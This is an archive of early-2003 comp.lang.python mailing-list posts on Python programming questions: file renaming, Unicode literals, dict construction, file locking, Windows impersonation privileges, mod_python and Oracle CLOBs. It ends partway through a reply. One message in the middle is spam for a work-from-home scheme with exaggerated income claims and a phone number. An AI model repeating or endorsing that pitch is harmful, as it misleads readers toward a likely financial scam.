From BC at energy.com  Mon Jan  6 15:20:41 2003
From: BC at energy.com (Bill Carter)
Date: Mon, 06 Jan 2003 12:20:41 -0800
Subject: help with counter
Message-ID: <83oj1v8eb814lev3bgtfqjpnpha92des1s@4ax.com>

I must have been looking at this problem for to  long, but I need some
help because I am stuck.

I have a series of files on disk   file.01.txt, file.02.txt ...
what I am trying to do is rename all the files a new name but also not
renaming a few files but maintaining the number sequence

for example 

#sample command line
pyrename.py file.01.txt file.400.txt  3 newfile.01.txt  

# breakdown
script name / filename of first file / last filename / drop every 3rd
file / new filename and start number


should produce 

file.01.txt     	newfile.01.txt
file.02.txt	newfile.02.txt
file.03.txt	
file.04.txt	newfile.03.txt
file.05.txt	newfile.04.txt
file.06.txt	newfile.05.txt
file.07.txt	newfile.06.txt
file.08.txt	
file.09.txt	newfile.07.txt
file.10.txt ...	newfile.08.txt...

the filename changes the amount changes and the file to be dropped
changes.

For some reason I can't put my head around this problem.  Any help
would be appreciated.

BC





From DLNXPEGFQVEB at spammotel.com  Mon Jan 13 17:44:43 2003
From: DLNXPEGFQVEB at spammotel.com (Christos TZOTZIOY Georgiou)
Date: Tue, 14 Jan 2003 00:44:43 +0200
Subject: OT: Random proofs
Message-ID: <0sd62v02bahqsibivenakajdsgl15ejdpq@4ax.com>

Theorem: Outlook Express is broken.
Proof: Fredrik Lundh's posts are constantly missing the <F> start tags.

Theorem: Tim Peters dislikes XML.
Proof: He never goes <wink/>.

Theorem: Tim Peters has no spare time at all.
Proof: If he had, he'd issue a <blink> as a no-op every now and then.

Theorem: Guido van Rossum has a baby in the house.
Proof: He has no time for c.l.py any more.

Theorem: My speedy catch-up with the last 6 months of c.l.py in two
weeks has rendered myself temporarily incapable of living my own life.
Proof: (left as an exercise for the reader :)
-- 
TZOTZIOY, I speak England very best,
Real email address: 'dHpvdEBzaWwtdGVjLmdy\n'.decode('base64')



From robin at jessikat.fsnet.co.uk  Tue Jan  7 19:59:56 2003
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Wed, 8 Jan 2003 00:59:56 +0000
Subject: "%s" vs unicode
References: <1GtMGLAYnyG+Ew34@jessikat.demon.co.uk>
 <m3u1gkwvui.fsf@mira.informatik.hu-berlin.de>
 <JiqD$KAGb2G+Ewyl@jessikat.fsnet.co.uk> <loKS9.175$467.90@fe08>
Message-ID: <yDYdXKAMg3G+EwGS@jessikat.fsnet.co.uk>

In article <loKS9.175$467.90 at fe08>, Steve Holden <sholden at holdenweb.com>
writes
......
>Well, there's also a widening principle that you seem to be ignoring. In the
>same way that int+float gives float, and float*complex gives complex, so any
>string operation involving a Unicode operation gives a Unicode result.
>
>Otherwise what would you have Python do with non-translatable Unicode
>characters it has to handle in a %s substitution? Give an ordinal value
>error?
>
>regards
......I'm not really disagreeing. The widening here just seems wrong. If
"x" op y --> unicode/string why can't "x" op z --> complex for some
specific values of x & z. Normally Python tries to be simple, but if
unicode is a widened string why doesn't raise u'A' work? Widening should
work reasonably if we are going to have a concensus on what is
reasonable.
-- 
Robin Becker



From hjwidmaier at web.de  Tue Jan 28 03:31:41 2003
From: hjwidmaier at web.de (Hans-Joachim Widmaier)
Date: 28 Jan 2003 00:31:41 -0800
Subject: The "beaty" of date arithmetic
References: <6e990e29.0301222352.2ebb5c1e@posting.google.com> <v3b3h9gl7vha60@news.supernews.com>
Message-ID: <6e990e29.0301280031.4fd60843@posting.google.com>

"John Roth" <johnroth at ameritech.net> wrote in message news:<v3b3h9gl7vha60 at news.supernews.com>...

> What's even uglier is that you're mixing spaces and tabs for
> indentation.

Vim does it, and it does it right, as I *never* indent using <Tab> or
pressing my space bar several times. I use the appropriate indent or
detend commands. And I never ever had any indentation problems in
python. As long as a tab goes to column 8*n+1, everything's ok. And
you certainly don't want my opinion on Outlook Express. ;-) (I also
admit that I thought the tabs would be lost by cutting and pasting
into google's text entry. I was wrong.)

> What I usually do is convert dates to astronomical days and then
> do the arithmetic. (Astronomical days begin at 0 for some day
> in 4700 BC, and count up from there.) Months are 30.6 days and
> years are 365.2425 days. You can get awfully close, which is quite
> good enough for me.

Everything would be fine if date and time was a monotonically
advancing value like seconds since the big bang. :-) Alas, our civil
time is a complicated mess (and there are still other calendars that
are *much* more complicated as our gregorian). Problem is, problems in
"human space" should deal with "human dates", not abstract ones.
"Awfully close" is only second best when it can be exact.

I keep repeating myself: It's not the ugliness of being unable to
subtract or add one calandar month I'm complaining about. It's the
ugliness of the code that I wrote. I just hoped someone had an idea
how it could be more readable.

Whatever, it works albeit being no top runner in the
prettiest-function-of-the-year contest, and 2.3 is on the horizon,
promising some relief.

It's really not such a big thing, let's lay it to rest.

Thanks to all of you,
Hans-Joachim



From gfu at public.nn.gx.cn  Mon Jan 27 10:18:07 2003
From: gfu at public.nn.gx.cn (gfu)
Date: Mon, 27 Jan 2003 23:18:7 +0800
Subject: how to use unicode?(2)
Message-ID: <200301271519.AEN74572@md2.gx163.net>

>gfu wrote:
>> 	>>> u'??'
>> 	 u'\xcb\xc6\xcd\xf8\xd2\xb3'
>
>In Python 2.2, you cannot put non-ASCII characters into a Unicode 
>literals(*). In Python 2.3, this is possible, but only if you declare 
>the file encoding (i.e. you cannot enter them readily in interactive mode).
>
>So if you want those characters in a string, you need to write
>
>u'\u884c\u90fd'
>
>Here, U+884C and U+90FD are the Unicode code points of the two 
>characters you show above. Alternatively, writing
>
>unicode('??', 'gb2312')
>
>should also work, provided you have a codec for gb2312 installed (and 
>provided your input is really encoded in gb2312).
>
>HTH,
>Martin
>
>(*) Strictly speaking, you can put any Latin-1 into a Unicode literal if 
>the file is encoded in Latin-1.
>
>-- 
>http://mail.python.org/mailman/listinfo/python-list

= = = = = = = = = = = = = = = = = = = = 
thank you.
In IDLE:	
	>>> s=u'\u884c\u90fd'
    >>> print s
		??

it's ok.but:
	>>> s = unicode('??', 'gb2312') 
	UnicodeError: ASCII encoding error: ordinal not in range(128)

how to install a codec for gb2312 ? how to my input is really encoded in gb2312?


gfu






From wyojustin at hotmail.com  Sat Jan  4 19:02:45 2003
From: wyojustin at hotmail.com (Justin Shaw)
Date: Sat, 4 Jan 2003 19:02:45 -0500
Subject: Source Forge CVS
Message-ID: <8amcnSAFceW664qjXTWcpQ@comcast.com>

I have a project set up on source forge, SpellQuest,  I need to set up the
CVS repository.  Can someone tell me how to do it from Windows or Linux.
The Sourceforge how to tells you to "log into the CVS server"  what is that?
Is it different from spellquest.sf.net?  I'd appreciate the set by step
commands if anyone can fill them in for me.


Thanks,
Justin





From peter at engcorp.com  Sun Jan 12 21:19:58 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 12 Jan 2003 21:19:58 -0500
Subject: Elegant copy-by-value
References: <87n0m7urz4.fsf@gvdnet.dk> <3E20CA0F.E2C07F4E@engcorp.com> <87k7hbul7w.fsf@gvdnet.dk> <3E20DFE7.FD196BD3@engcorp.com> <87d6n2h5mn.fsf@gvdnet.dk> <x7ptr2rs1a.fsf@guru.mired.org> <avt19i$r4$1@slb0.atl.mindspring.net> <mailman.1042419802.2139.python-list@python.org>
Message-ID: <3E22224E.313ADB4A@engcorp.com>

Andrew Bennetts wrote:
> 
> In which case, perhaps all they want is the following code:
> 
>      from copy import copy, deepcopy
>      __builtins__.copy = copy
>      __builtins__.deepcopy = deepcopy

Added to a file called sitecustomize.py somewhere in the set
of directories in sys.path...

(This makes it automatic on startup, as noted in site.py.)

-Peter



From p-abel at t-online.de  Fri Jan 17 03:08:33 2003
From: p-abel at t-online.de (Peter Abel)
Date: 17 Jan 2003 00:08:33 -0800
Subject: list_to_dict()
References: <b06i9j$art$1@wheel2.two14.net> <mailman.1042735479.28310.python-list@python.org> <b06v5g$auj$2@wheel2.two14.net>
Message-ID: <13a533e8.0301170008.34cd26ba@posting.google.com>

maney at pobox.com wrote in message news:<b06v5g$auj$2 at wheel2.two14.net>...
> Skip Montanaro <skip at pobox.com> wrote:
> > 
> >    maney> def list_to_dict(aList, key_indexes, value_indexes):
> >           ...
> > 
> > In 2.3 (and somewhat earlier I believe), you can call the dict() type like
> > so:
> > 
> >    >>> dict([("one", 1), ("two", 2)])
> >    {'two': 2, 'one': 1}
> 
> Which is a little bit like, but not usefully since the key is neither
> always the first item nor necessarily a single item in the source
> records.
> 
> > You can, of course, smash your keys and values lists together using zip():
> 
> Oh yeah, I do that quite a bit, too (though not in the program that
> gave rise to dict_from_list).
> 
> > 
> >    >>> zip(("one", "two"), (1, 2))
> >    [('one', 1), ('two', 2)]
> 
> So for the current use I'd have something like
> 
> theDict = dict(zip([(r[1],r[2]) for r in aList],
>                    [(r[0],r[2],r[3]) for r in alist]))
> 
> Hmmmm.  I can't say it looks like an improvement over the simple loop
> to my eyes.  If anything it's buried the distinguishing features - the
> original list and the lists of indexes - under a slightly greater
> weight of scaffolding.
> 
> There's some food for thought about related uses here, though.  Thanks,
> Skip!

Sorry, when i didn't read the thread quite exactly,
but I think your basic problem is something like this, which can
be easily solved.
I'm using PYTHON 2.2.2:
>>> l1=['zero','one','two','three']
>>> l2=range(5)
>>> l1
['zero', 'one', 'two', 'three']
>>> l2
[0, 1, 2, 3, 4]
>>> di=dict(zip(l1,l2))
>>> di
{'zero': 0, 'three': 3, 'two': 2, 'one': 1}
>>> 

Regards
Peter



From LogiplexSoftware at earthlink.net  Tue Jan 14 19:29:30 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 14 Jan 2003 16:29:30 -0800
Subject: matching and extracting...
In-Reply-To: <1042589661.27820.8.camel@software1.logiplex.internal>
References: <409a56e2.0301141324.6625547d@posting.google.com>
	 <1042589408.27815.5.camel@software1.logiplex.internal>
	 <1042589661.27820.8.camel@software1.logiplex.internal>
Message-ID: <1042590570.27820.23.camel@software1.logiplex.internal>

On Tue, 2003-01-14 at 16:14, Cliff Wells wrote:

[blah blah, snip]


This is a couple of lines shorter and now my design is perfect <wink>:

import re

class matchseq:
    def __init__(self, sequence):
        self.items = []
        exp = ""
        for item in sequence.split():
            if exp:
                exp += " "
            k, v = item.split('-')
            exp += "(?P<%s>%s)" % (k, ["\D*\d*", k][v == 'p'])
            if v == 'x':
                self.items.append(k)

        self.re = re.compile(exp)
                
    def match(self, sequence):
        match = self.re.match(sequence)
        results = {}
        if match:
            for k in self.items:
                results[k] = match.group(k)
        return results


m = matchseq("a0-p i1-x i2-x i3-? a4-p i5-x i6-? i7-x i8-?")

result = m.match("a1 a1 a2 a3 a4 a5 a6 a7 a8")
if result:
    print result
    
result = m.match("a0 a1 a2 a3 a4 a5 a6 a7 a8")
if result:
    print result


-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From eppstein at ics.uci.edu  Thu Jan 30 01:51:18 2003
From: eppstein at ics.uci.edu (David Eppstein)
Date: Wed, 29 Jan 2003 22:51:18 -0800
Subject: [ [ [] * y for y in range(3) ] * x for x in range(2) ]
References: <2463d77d.0301292034.1fdc47bd@posting.google.com> <eppstein-96744E.22015129012003@news.service.uci.edu> <2vhh3v4ue9tsn5lgk6lpl7cd92i2s8fgh9@4ax.com>
Message-ID: <eppstein-7E2B0F.22511829012003@news.service.uci.edu>

In article <2vhh3v4ue9tsn5lgk6lpl7cd92i2s8fgh9 at 4ax.com>,
 Chirayu Krishnappa <thephoenix235 at gmx.net> wrote:

> This is whats wrong.
> 
> >>> L=[[[]]*3]*2
> >>> L
> [[[], [], []], [[], [], []]]
> >>> L[0][0]=1
> >>> L
> [[1, [], []], [1, [], []]]

Ok, you want a 2x3 table of 6 distinct empty lists...

[[[] for x in range(3)] for y in range(2)]

-- 
David Eppstein       UC Irvine Dept. of Information & Computer Science
eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/



From kendall at monkeyfist.com  Tue Jan 28 15:55:32 2003
From: kendall at monkeyfist.com (Kendall Grant Clark)
Date: Tue, 28 Jan 2003 14:55:32 -0600
Subject: python weblog apps?
In-Reply-To: <200301281148.11576.rjones@ekit-inc.com>
References: <20030128000125.A21343@psychofx.com>
	<200301281148.11576.rjones@ekit-inc.com>
Message-ID: <15926.60996.693765.735957@rosa.monkeyfist.com>

>>>>> "richard" == Richard Jones <rjones at ekit-inc.com> writes:

  richard> On Tue, 28 Jan 2003 11:01 am, Chris Miles wrote:
  >> I am after a simple weblog for a project, and I see a number of php
  >> weblog apps around, but have not found a Python-based one.
  >>
  >> If you know of one you can point me at, that'd be great.

  richard> Searched PyPI for "weblog" and found:

  richard> http://www.amk.ca/cgi-bin/pypi.cgi?:action=display&name=Kaa&version=0.8

The next two issues of Py (pyzine.com) will include articles about
weblogging, including one by the developer of Kaa, Hans Nowak; and at
least one article by Fred Lundh about his RSS-based newsreader.

We're also talking to some other Python weblogging tool authors (including
one mentioned later in this thread) about writing articles for Py. You can
find subscription information at
	
	http://store.pyzine.com/

If you're doing something interesting with Python in the weblogging or
personal publishing area, I'd love to have a chance to talk you into
writing for Py. :>

Best,
Kendall Clark
-- 
Jazz is only what you are. -- Louis Armstrong




From warren.postma at sympatico.ca  Sun Jan 26 13:51:21 2003
From: warren.postma at sympatico.ca (Warren Postma)
Date: Sun, 26 Jan 2003 13:51:21 -0500
Subject: skinnable, portable widgets?
In-Reply-To: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net>
References: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net>
Message-ID: <X6WY9.289$qg1.57048@news20.bellglobal.com>

Sorry Brandon, couldn't resist this:


> I'm looking for a GUI widget toolkit that:
[summary:  wants a widget set for cross platform game toolkit]

The SDL is a cross platform GUI toolkit for games, but is weak
on the 'widget' side of things, since game toolkits usually give you 
only the ability to write text on the screen, and some bitmaps, and 
maybe render your 3d polygons.    Basically the widget set you need for
games is a pair of bitmaps which you page flip between, and then 
everything else should be drawing lines, text, and bitmaps on top of a 
3d background screen. Thats how all the recent games I've seen do things.

http://www.libsdl.org/index.php

Warren




From logistix at zworg.com  Fri Jan 17 21:39:57 2003
From: logistix at zworg.com (logistix)
Date: 17 Jan 2003 18:39:57 -0800
Subject: Warning! Newbie issue - Impersonating a user on Win32
References: <mailman.1042650398.19724.python-list@python.org> <mailman.1042755331.3986.python-list@python.org> <3e273aac 6@corp-goliath.newsgroups.com> <mailman.1042842274.10085.python-list@python.org>
Message-ID: <bdb5b58f.0301171839.483b5a03@posting.google.com>

Doug Glenn <dglenn at charter.net> wrote in message news:<mailman.1042842274.10085.python-list at python.org>...
> On Thursday 16 January 2003 18:40, Roger Upole wrote:
> > What error do you get when you try to adjust SE TCB NAME ?
> 
> I have it working now. As is, it will not grant the SE TCB NAME, it had 
> to be done manually to the local policy.  I get a 1300 error attempting 
> to set it. Once I set the "act as operating system" to the appropriate 
> group it would work.  I do not know if this is set by a default 
> installation or not. I do know we don't have it set, and apparently our 
> policy does not remove it either.  I don't use Win2k at home to verify 
> what the default install would set it to.
> 
> If it is supposed to be able to set that, then that functionality no 
> longer works. At least in the version of ActivePython 2.2.2 from 
> ActiveState with the bundled version of the Pywin stuff. I can't 
> install the seperate version because it blows up Komodo unless I remove 
> it and reinstall the AS version :(
> 
> Obviously I would rather be able to grant the rights via the program. 
> Going through a policy change review at work to get it set is not a 
> workable solution just for this one app. 
> 
> I've sent a note to the author and to ActiveState, but I am doubtful I 
> will hear anything back until later next week. 
> 
> Regards,
> Doug

Just some clarifications on whats going on.  "Priviledge elevation"
occurs on a per-thread basis, and the user needs permissions to
perform elevation.

For example, a "Backup Operator" has the LSA Policy "Backup/Restore
files" which bypasses ACL's on the filesystem.  But if you just make
yourself a backup operator and try to view files you don't have
permission to, you'll still get an error.  First you need to elevate
permissions and then you can look at these files.

It's the same with impersonation.  Granting the LSA Policy just says
"this user is allowed to change idenitities".  Obviously, if any
arbitrary user could just elevate privledges and change their
identity, it'd be a big security hole in W2K; anyone could become an
admin.

The way to properly do what you want to without changing Security
Policies is to create a Service that does what you want to.  It'll run
as LocalSystem (already part of the OS) and can Impersonate as
necessary.  Then some sort of stub program (or embedded web interface)
provides access to the service.

A good example is the RunAs command.  It lets you as a user run
something as another user (even if you don't have privledges).  If you
look at your services, you'll see a runas service that is really doing
all the work.

I haven't done services in python, so I can't help you there.



From skip at pobox.com  Fri Jan 31 08:39:09 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 31 Jan 2003 07:39:09 -0600
Subject: file access
In-Reply-To: <b1dm77$12e139$1@ID-145579.news.dfncis.de>
References: <b1dm77$12e139$1@ID-145579.news.dfncis.de>
Message-ID: <15930.31869.491015.616410@montanaro.dyndns.org>

    Stefano> I have two or more pyhton scripts running independently. These
    Stefano> script may access the same files to store or retrieve data. As
    Stefano> usual, I would need to avoid any simultaneous access and I can
    Stefano> solve the problem creating some semaphore files.

There are lots of ways to solve this particular problem.  One of the
simplest might be to "lock" the file in question is by using os.open with
the O_CREAT and O_EXCL flags to open a lock file.  You'll probably have to
put it in a loop, something like (untested!):

    import os, time

    def exclopen(fname, mode, timeout=0):
        lockfn = fname + "-lock"
        wait = 0
        while 1:
            try:
                lockfd = os.open(lockfn, os.O_CREAT|os.O_WRONLY|os.O_EXCL)
            except OSError:
                wait += 0.2
                if timeout and wait > timeout:
                    raise IOError, "unable to lock %s within %s seconds" % \
                                   (fname, timeout)
                time.sleep(0.2)
            else:
                os.close(lockfd)
        # at this point we have the lock (created the lock file)
        return open(fname, mode)

    def exclclose(f):
        lockfn = f.name + "-lock"
        f.close()
        # make the original file available again 
        os.unlink(lockfn)

Skip




From johnroth at ameritech.net  Wed Jan  1 08:16:20 2003
From: johnroth at ameritech.net (John Roth)
Date: Wed, 1 Jan 2003 08:16:20 -0500
Subject: Python vs. Ruby
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org>
Message-ID: <v15qgkgpq72tbf@news.supernews.com>

"Mike C. Fletcher" <mcfletch at rogers.com> wrote in message
news:mailman.1041382562.17669.python-list at python.org...
> Why post sarcasm to the Python list?

To point out that any language that adds unnecessary syntac
complexity and then claims superiority is baring its hubris in
public.

> To convince a Python user (or
> heck, any user who's used to polite society ;) ) of the superiority of
> Ruby you might try something along the lines of:

I wasn't intending to try to convince anyone of the superiority
of Ruby. Quite the contrary. The extra brackets have convinced me
that Ruby is not worth my time.

> """Ruby was created a long time after Python and PERL.  It tries to be
a
> better language based in part on observing these older languages and
> does these things differently as a result:

AFIK, Ruby did not use Python as a base. It used PERL. All of the
documentation says, quite explicitly, that the author's motivation was
to create a better language than PERL.

>     * breaking object-orientation to return new objects when sorting
>       sequences ;)

I suppose I could care less about breaking "object orientation,"
but I'm not certain how. My objection is that it breaks chained
application by returning None rather than the obvious result that
anyone would expect from the name. The results in actual code
are rather ugly.

The arguement that one language is "more object-oriented"
than another is, IMNSHO, specious, and making that kind
of claim tends to trigger my b8t detector.

>           o might also want to explain that it's not a hard thing to
fix
>             at some point in Python (if the powers-that-be want to) by
>             adding "sorted" and "reversed" methods to the list object
>             (no clue why you want "append" to create a new list,
sounds
>             silly to me ;) ).

"sorted()" and "reversed()" are great names, especially when used
in combination with the existing "sort()" and "reverse()" names. Thanks
for the suggestion.

Whether append() returns a *new* object or not is irrelevant to
my arguement. The fact that it returns None is the wart.

John Roth








From tvassila at siac.com  Fri Jan 31 11:26:18 2003
From: tvassila at siac.com (Thanos Vassilakis)
Date: Fri, 31 Jan 2003 11:26:18 -0500
Subject: mod_python examples
Message-ID: <OFDC52DD77.CDAC6467-ON85256CBF.0059A170@nsmtp.siac.com>

Tyr looking at pso as it greatly simplifies the use in mod_python.

We generally develope our web services  with pso using CGI. Then realease
in production under mod_python. PSO abstracts the the service handling.

You dont really need to learn about mod_python and some things are just
much easier:
1) getting environment variables
2) setting abd getting cookies,
3) file uploads
4) setting return status
5) redirection
And  a lot more

see:

 user guide: http://www.scriptfoundry.com/modules/pso/doc/pso-guide.html
 sessions and mod_python:
 http://www.scriptfoundry.com/modules/pso/doc/session-modpython.html
 and the building a site:
 http://www.scriptfoundry.com/modules/pso/doc/pso-example.html
 thanos




                                                                                                                                  
                    "francois lepoutre"                                                                                           
                    <franck.lepoutre at car        To:     python-list at python.org                                                    
                    amail.com>                  cc:                                                                               
                    Sent by:                    Subject:     Re: mod_python examples                                              
                    python-list-admin at py                                                                                          
                    thon.org                                                                                                      
                                                                                                                                  
                                                                                                                                  
                    01/31/2003 03:20 AM                                                                                           
                                                                                                                                  
                                                                                                                                  




> I need a couple of larger examples than what the
> official mod_python documentation gives
> (which isn't really much for
> a newbie to mod_python).

What kind of things are you looking for?

mod_python is both a superb idea and
a great achievement. You can build great
apps with a couple lines of codes:

- read the code carefully, install the
package and you existing cgi will fly,

- grasp the publisher concepts, push
a couple of hundreds lines of object-based
code and you have a minimal persistent
app "? la zope",

- get a firmer hand on the whole mod_python
picture, build you own framework (a couple of
thousand lines) and you have your own portal
framework.

Of course the documentation is nice but concise.
A couple of diagrams would help.

I tend to believe that most users of
mod_python have a strong apache/perl
background. That may explain why
the documentation - despite great - is so dry.

I am preparing a couple of pages dedicated to
mod_python/win32 and cross-platform
development issues on which i stumbled.

Just wish i had to the time to produce them.

The only thing i can tell up to now read the
documentation, read it twice or thrice if needed.

If you wish more general information
on optimization tips and tricks, you
should dive into mod_perl/apache docs.

May google will help you on this...

Fran?ois


--
http://mail.python.org/mailman/listinfo/python-list








From kirk at strauser.com  Thu Jan  9 17:10:10 2003
From: kirk at strauser.com (Kirk Strauser)
Date: Thu, 09 Jan 2003 22:10:10 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3E1BA510.85FBDD59@engcorp.com> <v1ofnamn6ai771@corp.supernews.com> <3e1ca11b_4@nopics.sjc>
Message-ID: <874r8iq8k1.fsf@pooh.honeypot.net>

At 2003-01-08T22:07:27Z, "Tupoi" <EDB30 at msn.com> writes:

> ok to be more specific what are the best undergrad schools in the US for a
> Computer Science major in general because most undergrads like me
> probbably have not decided whether they will be computer programmers,
> network guys, or whatever else.

I went to a state school, Southwest Missouri State University, and loved
it.  The classes were very small, and I got to know much of the faculty on a
first-name basis over the years.  For being a small, little-known school,
the students recently scored at the 96th percentile nationally on the MFAT.
-- 
Kirk Strauser



From sholden at holdenweb.com  Tue Jan 14 12:36:35 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Tue, 14 Jan 2003 17:36:35 GMT
Subject: newbie looking for help, int reference question
References: <pan.2003.01.14.19.07.19.38207.2750@zonnet.nl>
Message-ID: <DUXU9.11$YI5.5@news2.central.cox.net>

"jodocus" <johocus at zonnet.nl> wrote ...
> hi,
>
> i am learning python, but at the moment i cannot afford to buy a book on
> the subject. So i am trying to find all the appropriate information on the
> web. This proves difficult, so if anyone knows a good (complete) online
> book/resource about the language, i would like to know. I am looking for
> more than just a tutorial (these are not hard to find), but rather a
> complete work that describes the details of the language.
>
> A thing I just ran into and couldn't find in the tutorials i am using:
>
> >>> i = 10
> >>> j = i
> >>> i is j
> 1
> >>> i += 10
> >>> i
> 20
> >>> j
> 10
>
> it seems that, after adding a value, i has become another object. So i
> guess the + operator makes a new object, does this mean that ints are
> 'immutable'?

That's absolutely what it means. Congratulations!

> How do i make sure that j changes when i does? Is this
> comparable to the Java distinction between objects and primitive types,
> where objects are referenced but primitives are not?
>
I'm afraid there isn't any way to do that, precisely because of the
immmutability of integers.

> As a C/C++ programmer i really like to know whether i am dealing with
> pointers or not, this makes me feel more sure about the correctness of the
> code i am writing.
>
Well, all Python names are references, if that helps. Note, though, that
object attributes and compund object elements are also references. How about
this:

>>> l = [10, 20, 30]
>>> k = l[0]
>>> j = l[0]
>>> l[0] += 1
>>> k is j
1
>>> j
10
>>> k
10
>>> l
[11, 20, 30]
>>>

> Thanks a lot,
>
A pleasure. I hope it helped!

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From mhaensle_b18 at freenet.co.uk  Tue Jan 21 22:19:27 2003
From: mhaensle_b18 at freenet.co.uk (Opal)
Date: Wed, 22 Jan 2003 03:19:27 GMT
Subject: ctognazzini, Employment Opportunity from home
Message-ID: <SOOTRN9WBYShdmhznOx00000a90@soo>

ctognazzini at hotmail.com

Do You Want To Teach and Grow Rich?...........
  
Earn $2,000-$10,000 dollars each week working from home?  
Have an Unlimited Income Potential? 
Join a Fast Growing Company? 
Gain Financial Independence? 
If You Answered Yes, This Opportunity's For You! 
 

If you are a motivated and qualified communicator, I will personally train you to do 3 / 20 minute phone presentations per day to qualify prospects that we can provide to you. I will demonstrate to you that you can make $400 a day part time using this system. Or, if you have 20 hours per week, as in my case, with the proper training you can make in excess of $10,000 per week, as I am currently generating (verifiable, by the way). 

Plus I will introduce you to my mentor who makes well in excess of $1,000,000 annually. Many are called, only a select number are chosen. Call the 24 hour pre-recorded message number below for more information.

We will take as much or as little time as you need to see if this program is right for you. 

Call now for more: 618-355-1169

Please do not make this call unless you are genuinely money motivated and qualified. I need people who already have people skills in place and are ready to generate large amounts of money in the near future.

Looking forward to your call. Thank you.  618-355-1169


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Your email address was obtained from an opt-in list. If you wish to be deleted from this list, please click on the following link: http://www.digitalcraftsmanship.com/remove/remove.html and you will be removed from the list. If you have previously dealt with this matter and are still receiving this message, you may call our Abuse Control Center at 1-866-667-5398, or write us at: NOUCE1, 6822 22nd Ave. N., St. Petersburg, FL 33710-3918.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~




From mlh at furu.idi.ntnu.no  Thu Jan 16 12:46:21 2003
From: mlh at furu.idi.ntnu.no (Magnus Lie Hetland)
Date: Thu, 16 Jan 2003 17:46:21 +0000 (UTC)
Subject: Convert seconds in minutes, hours, days, years ...
References: <399d6c30.0301160510.38703bfe@posting.google.com>
Message-ID: <slrnb2drvd.d3e.mlh@furu.idi.ntnu.no>

In article <399d6c30.0301160510.38703bfe at posting.google.com>, Loko wrote:
>Hello
>
>Isn't there an already package that contains functions to convert a
>number of seconds into year, days, hours, minutes and seconds ?
>
>Do I have to write it ?

In addition to the time module, you might also want to check out the
datetime module (new in Python 2.3)

>Thanx
>Loko

-- 
Magnus Lie Hetland
http://hetland.org



From martin at v.loewis.de  Fri Jan 24 06:41:47 2003
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 24 Jan 2003 12:41:47 +0100
Subject: Error handling when embedding python...
In-Reply-To: <b0r7b0$snt6o$1@ID-88790.news.dfncis.de>
References: <b0r7b0$snt6o$1@ID-88790.news.dfncis.de>
Message-ID: <b0r8pm$aiv$05$2@news.t-online.com>

Axel Schlueter wrote:
> while trying to embed python as a scripting possibility into my
> application, I stumbled across error handling. If python finds
> a syntax error, the interpreter prints its error messages to stderr,
> but I would like to open my own error dialog box containing the
> message. Is there anything like an error callback hook or something ?

How do you invoke the Python code? Python will not, normally, print an 
error on stderr, but will return a NULL value from the API, with a 
SyntaxError set.

Regards,
Martin




From rdsteph at earthlink.net  Mon Jan 13 20:13:40 2003
From: rdsteph at earthlink.net (Ron Stephens)
Date: Tue, 14 Jan 2003 01:13:40 GMT
Subject: OT: X#, a new Msft functional language similar to Lisp; Python prominently
 mentioned
Message-ID: <3E2364CC.7060604@earthlink.net>

Ok, this is a brand new, wild rumor, but of some interest. Microsoft is 
said to be creating a new functional language , X#, to be able to easily 
extract and process data from XML documents.

The author of this new online article, one Sean McGraff,  posits that 
most programming paradigms are either a)object oriented, like Java, 
Python, and C++ or b) use tabular data structures, such as relational 
data bases. He further posits that XML does not fit neatly into either 
object oriented nor tabular paradigms, but does fit neatly into a 
functional programming style that treats data and code as one and the 
same thing, like Lisp.

Interesting. I don't like Microsoft, but this actually sounds like an 
idea that might have some merit. Of course, rather than use Lisp, 
Microsoft has to re-invent the wheel in a proprietary fashion.

Does anyone think the ideas expressed in this article about XML being 
easier to process in a functional programming style, are either accurate 
or stupid?

Could Python's functional programming style be a good fit for XML data? 
Could Python be extended to enhance such capabilities, if those 
capabilities have any validity?

The article is at 
http://searchwebservices.techtarget.com/originalContent/0,289142,sid26_gci873910,00.html

Ron Stephens
http://www.awaretek.com/plf.html

There is no predicting what the Pythonic web spider will dig up next ...




From vepxistqaosani at netscape.net  Tue Jan 21 12:43:49 2003
From: vepxistqaosani at netscape.net (Fred Bartlett)
Date: 21 Jan 2003 09:43:49 -0800
Subject: clobs clobber dbi ??? Workarounds?
Message-ID: <ff30b903.0301210943.3c3a3fd5@posting.google.com>

Further to my last posting:

when doing a
  select * from <table>
using either cx_Oracle or dbi/odbc fails if the <table> contains a
clob -- cx_Oracle simply raises an application error; dbi is a little
more helpful:
  "dbi.internal-error: [Oracle][ODBC]Invalid column number <num>, in
FETCH",
where <num> is the number of the first clob column.

If one's SELECT statement includes every column name except the
clob's, then it
works.

But I need to get the clob column, too -- how can I do it? Toad and
sql*plus both handle it; what's wrong cx_Oracle, dbi and/or odbc?

Thanks,
Fred



From imbosol at vt.edu  Sat Jan 25 15:55:52 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sat, 25 Jan 2003 20:55:52 GMT
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com>
Message-ID: <sRCY9.147$qb1.115@nwrddc01.gnilink.net>

Peter Hansen wrote:
> "Aaron K. Johnson" wrote:
